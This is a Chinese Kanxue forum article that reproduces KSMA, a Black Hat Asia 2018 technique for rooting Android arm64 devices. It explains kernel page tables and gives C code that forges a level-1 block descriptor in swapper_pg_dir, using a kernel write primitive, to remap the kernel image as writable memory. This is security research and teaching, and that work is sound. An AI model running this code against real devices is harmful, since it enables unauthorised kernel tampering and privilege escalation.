查看原文
其他

KSMA -- Android 通用 Root 技术

GeneBlue 看雪学院 2021-03-07
本文为看雪论坛精华文章
看雪论坛作者ID:GeneBlue


2018 年 blackhat asia 会议上,阿里巴巴的安全研究员 ThomasKing 做了 Android Root 方面的主题演讲,题为《KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features》。笔者对这样的通用 Root 方式是比较感兴趣的,便着手复现了一下。
 
ThomasKing 为这种通用 root 方式起了个不错的名字 KSMA(Kernel Space Mirroring Attack),意为内核空间镜像攻击。

简单的说,在内核的一级页表中伪造一个 d_block 类型的 descriptor (内存描述符),将内核镜像所在的 PA (物理地址) 映射到 descriptor 所对应的 VA (虚拟地址) 处。

通过修改 d_block 中的一些内存属性,就可以做到对 VA 处映射的内核镜像做读写操作,从而可以任意修改内核代码。


linux页表介绍


linux 内核采用分页机制管理 VA,并使用 MMU(内存管理单元) 完成 VA 到 PA 的转换。page (内存页) 大小一般为 4KB 16KB 或者 64 KB,为了更有效率的管理 page,内核使用 page table(页表)来组织所有page。

页表是分级的,pc 系统一般使用4级页表,现阶段 android 系统采用3级页表,页大小 4KB。以下均以 4KB 3级页表作为讨论基础。
 
下面图表搭配着看比较好理解一些,下图位于 armv8 手册 D4-1744 处,下表位于内核 Documentation/arm64/memory.txt 处。
 

AArch64 Linux memory layout with 4KB pages:Start End Size Use-----------------------------------------------------------------------0000000000000000 0000007fffffffff 512GB userffffff8000000000 ffffffbbfffeffff ~240GB vmallocffffffbbffff0000 ffffffbbffffffff 64KB [guard page]ffffffbc00000000 ffffffbdffffffff 8GB vmemmapffffffbe00000000 ffffffbffbbfffff ~8GB [guard, future vmmemap]ffffffbffa000000 ffffffbffaffffff 16MB PCI I/O spaceffffffbffb000000 ffffffbffbbfffff 12MB [guard]ffffffbffbc00000 ffffffbffbdfffff 2MB fixed mappingsffffffbffbe00000 ffffffbffbffffff 2MB [guard]ffffffbffc000000 ffffffbfffffffff 64MB modulesffffffc000000000 ffffffffffffffff 256GB kernel logical memory map
Translation table lookup with 4KB pages:+--------+--------+--------+--------+--------+--------+--------+--------+|63 56|55 48|47 40|39 32|31 24|23 16|15 8|7 0|+--------+--------+--------+--------+--------+--------+--------+--------+ | | | | | | | | | | | v | | | | | [11:0] in-page offset | | | | +-> [20:12] L3 index | | | +-----------> [29:21] L2 index | | +---------------------> [38:30] L1 index | +-------------------------------> [47:39] L0 index (not used) +-------------------------------------------------> [63] TTBR0/1
  • usr 空间地址范围为:0x0000000000000000 ~ 0x0000007fffffffff,共计 512GB
  • kernel 空间地址范围为:0xffffff8000000000 ~ 0xffffffffffffffff,共计 512GB

对于3级页表,Level 0 table 并未采用,通过 Level 1 table 可以获取 Level 2 table 的内存位置,通过 Level 2 table 可以获取 Level 3 table 的内存位置,Level 3 table 又可以获取具体 page 所在的内存位置。
 
比如 0xffffffc000080030 这个 VA 按照上述翻译表的计算方式,可获知:

vaddr = 0xffffffc000080030ttbr1poffset = 0x30L0_index = 0x1ff L1_index = 0x100 L2_index = 0x0 L3_index = 0x80

ttbr1 表明这是一个内核地址,poffseet 表明内存在页内偏移为 0x30,L0页表没采用,数值没意义,是一级页表(pgd)的第 0x100 项,二级页表(pmd)的第0项,三级页表(pte)的第0x80项。
 
需要说明的是内核与用户态进程使用的不是同一份页表,内核拥有自己单独的页表,内核线程共享,用户态进程分别拥有自己的页表。
 
内核页表在内核初始化时静态创建,如下 init_mm。pgd 指向 swapper_pg_dir,在没有 KASLR 的情况下,该全局变量是一个固定值 0xffffffc00007d000,所以内核一级页表位于固定内存位置。

struct mm_struct init_mm = { .mm_rb = RB_ROOT, .pgd = swapper_pg_dir, .mm_users = ATOMIC_INIT(2), .mm_count = ATOMIC_INIT(1), .mmap_sem = __RWSEM_INITIALIZER(init_mm.mmap_sem), .page_table_lock = __SPIN_LOCK_UNLOCKED(init_mm.page_table_lock), .mmlist = LIST_HEAD_INIT(init_mm.mmlist), INIT_MM_CONTEXT(init_mm)};

用户程序页表是在创建用户态程序时动态分配在内核堆中,这一点,可以从 execve 的内核实现中看出,调用关系如下:

`do_execve_common() --> bprm_mm_init() --> mm_alloc() --> mm_init() --> mm_alloc_pgd() --> pgd_alloc()`

一级页表有两种描述符(64bit),table类型和 block 类型,如下图所示,block 类型指向指定的 1GB 内存区域,table 类型描述下一级页表的起始地址。对于伪造页表攻击,我们关心的是一级页表中 block 类型的页表
项。
 
 
 
关键在于要理解 d_block 描述符各 bit 意义,各 bit 详情参见 arm 手册,D4-1796,需要说明 AP[2:1] 和 output address:
  • bit[7:6]: AP[2:1] 属性,设置对应内存的数据访问权限,需要设置为内存可读写,这是我们关心的
  • bit[47:30]: output address 表示 d_block 要映射 PA 的 [47:30] bit 位的值。



伪造ttbr1的d_block描述符


理解上述页表的过程,伪造 d_block 页表就很简单了,前提是拥有至少一次内核地址写操作。所以,这种利用方法需要搭配某些地址写的漏洞使用。
 
拥有一次写地址权限后,在特定位置上写上 d_block 即可。
 
特定位置也就是伪造的 d_block 描述符应该在内存什么位置。该内存位置是可以计算出来的。内核 VA 中有很多的地址空间是没有被使用的,准确的说,没有被映射过。这些内存空洞就可以用来重新映射内核镜像 PA。

不考虑 KASLR 的情形,内核镜像加载的起始地址一般为0xffffffc000000000,镜像大小 1Gb,(0x40000000 Byte) 左右。

0xffffffc200000000 开始的区域通常为内存空洞区域,我们可以将该地址开始的 1Gb 空间,作为再次映射内核 PA 的 VA。当然也是可以采用其他区域的,比如 0xffffffc300000000 开始的 VA,这里以 0xffffffc200000000 作为示例。
 
计算 0xffffffc200000000(vaddr) 对应的一级页表 d_block 描述符位置的过程如下:

L1_index = (vaddr & 0x0000007fc0000000) >> 30;fake_d_block_addr = swapper_pg_dir + L1_index * 0x8;

确定好位置后,按照上述 d_block 各 bit 意义构造好fake_d_block,用地址写漏洞写入指定位置。
 
之后,内核 PA 就会被映射到 vaddr 处,直接使用指针操作 vaddr 内存即可。
 
 


主要代码


#define PAGE_OFFSEST 0xffffffc000000000
/** * *Android arm64 Translation table lookup with 4KB pages:+--------+--------+--------+--------+--------+--------+--------+--------+|63 56|55 48|47 40|39 32|31 24|23 16|15 8|7 0|+--------+--------+--------+--------+--------+--------+--------+--------+ | | | | | | | | | | | v | | | | | [11:0] in-page offset | | | | +-> [20:12] L3 index | | | +-----------> [29:21] L2 index | | +---------------------> [38:30] L1 index | +-------------------------------> [47:39] L0 index (not used) +-------------------------------------------------> [63] TTBR0/1 * 解析 vaddr 获取在页表中各种数值 */void parse_vaddr(unsigned long vaddr){ int ttrb0 = 0; int poffset = 0; int L0_index = 0; int L1_index = 0; int L2_index = 0; int L3_index = 0;
ttrb0 = (vaddr & 0x8000000000000000) >> 63; poffset = (vaddr & 0x0000000000000fff); L0_index = (vaddr & 0x0000ff8000000000) >> 39; L1_index = (vaddr & 0x0000007fc0000000) >> 30; L2_index = (vaddr & 0x000000003fe00000) >> 21; L3_index = (vaddr & 0x00000000001ff000) >> 12;
printf("[%s] vaddr = 0x%lx\n", __func__, vaddr); printf("[%s] ttbr%d \n", __func__, ttrb0); printf("[%s] poffset = 0x%x\n", __func__, poffset); printf("[%s] L0_index = 0x%x L1_index = 0x%x L2_index = 0x%x L3_index = 0x%x\n", __func__, L0_index, L1_index, L2_index, L3_index);}
/** * vaddr 是内核内存的空洞区域,伪造其 L1 pagetable 中 d_block 表项 * 以下 bits 位的具体信息要参考 armv8 的手册 D4-1791 * 1 Gb = 0x40000000 Byte * 0x40000000 */void fake_dblock_in_level1_page_table(unsigned long kimg_phys_addr, unsigned long L1_table_start_addr, unsigned long vaddr){ unsigned long fake_d_block = 0l; unsigned long fake_d_block_addr = 0l;
// 计算伪造 vaddr 的L1 页表项位置 int L1_index = 0; L1_index = (vaddr & 0x0000007fc0000000) >> 30; fake_d_block_addr = L1_table_start_addr + L1_index * 0x8; printf("L1_inde = 0x%x fake_d_block_addr = 0x%lx\n", L1_index, fake_d_block_addr);
// d_block 中的内容,主要是修改 AP[2:1], 修改为读写属性 // bit[1:0] fake_d_block = fake_d_block | (0x0000000000000001); // Y // bit[11:2] lower block attributes fake_d_block = fake_d_block | (0x0000000000000800); // nG, bit[11] Y fake_d_block = fake_d_block | (0x0000000000000400); // AF, bit[10] Y fake_d_block = fake_d_block | (0x0000000000000200); // SH, bits[9:8] fake_d_block = fake_d_block | (0x0000000000000040); // AP[2:1], bits[7:6] fake_d_block = fake_d_block | (0x0000000000000020); // NS, bit[5] Y fake_d_block = fake_d_block | (0x0000000000000010); // AttrIndx[2:0], bits[4:2] // bit[29:12] RES0 // bit[47:30] output address fake_d_block = fake_d_block | (kimg_phys_addr & 0x0000ffffc0000000); // bit[51:48] RES0 // bit[63:52] upper block attributes, [63:55] ignored fake_d_block = fake_d_block | (0x0010000000000000); // Contiguous, bit[52] fake_d_block = fake_d_block | (0x0020000000000000); // PXN, bit[53] fake_d_block = fake_d_block | (0x0040000000000000); // XN, bit[54]
printf("[fake] vaddr = 0x%lx\n", vaddr); printf("[fake] fake_d_block_addr = 0x%lx --> 0x%016lx\n", fake_d_block_addr, fake_d_block);
errno = 0; write_at_address_pipe((void*)fake_d_block_addr, &fake_d_block, sizeof(unsigned long)); printf("write errno = %d %s\n", errno , strerror(errno));}
void test_addr_directly() { unsigned long addr = 0xffffffc200000000 + 0x20000000 + 0x80000; printf("0x%lx --> 0x%lx\n", addr, *(unsigned long *) addr);
*(unsigned long *) addr = 0x100; printf("0x%lx --> 0x%lx\n", addr, *(unsigned long *) addr);}
int main(int argc, char *argv[]){ disable_addr_limit();
unsigned long kimage_phys_addr = 0x20000000; // 内核镜像加载的起始物理地址 memstart_addr 值 unsigned long L1_table_start_addr = 0xffffffc00007d000; unsigned long fake_kernel_vaddr = 0xffffffc000000000; // 0xffffffc200000000 fake_dblock_in_level1_page_table(kimage_phys_addr, L1_table_start_addr, fake_kernel_vaddr);
test_addr_directly(); return 0;}



参考


1. arm64 memory(https://android.googlesource.com/kernel/msm.git/+/android-msm-angler-3.10-marshmallow-dr1.5/Documentation/arm64/memory.txt)

2. 利用ARM MMU硬件特性开启安卓8终端的上帝模式(https://bbs.pediy.com/thread-228453.htm)


3. asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features(https://www.blackhat.com/docs/asia-18/asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf)


- End -





看雪ID:GeneBlue

https://bbs.pediy.com/user-666174.htm 

*本文由看雪论坛 GeneBlue 原创,转载请注明来自看雪社区。



推荐文章++++

为了理解反汇编引擎而写的X86/X64反汇编引擎

捆绑包驱动锁首病毒分析

**游戏逆向分析笔记

对宝马车载apps协议的逆向分析研究

x86_64架构下的函数调用及栈帧原理

好书推荐






公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存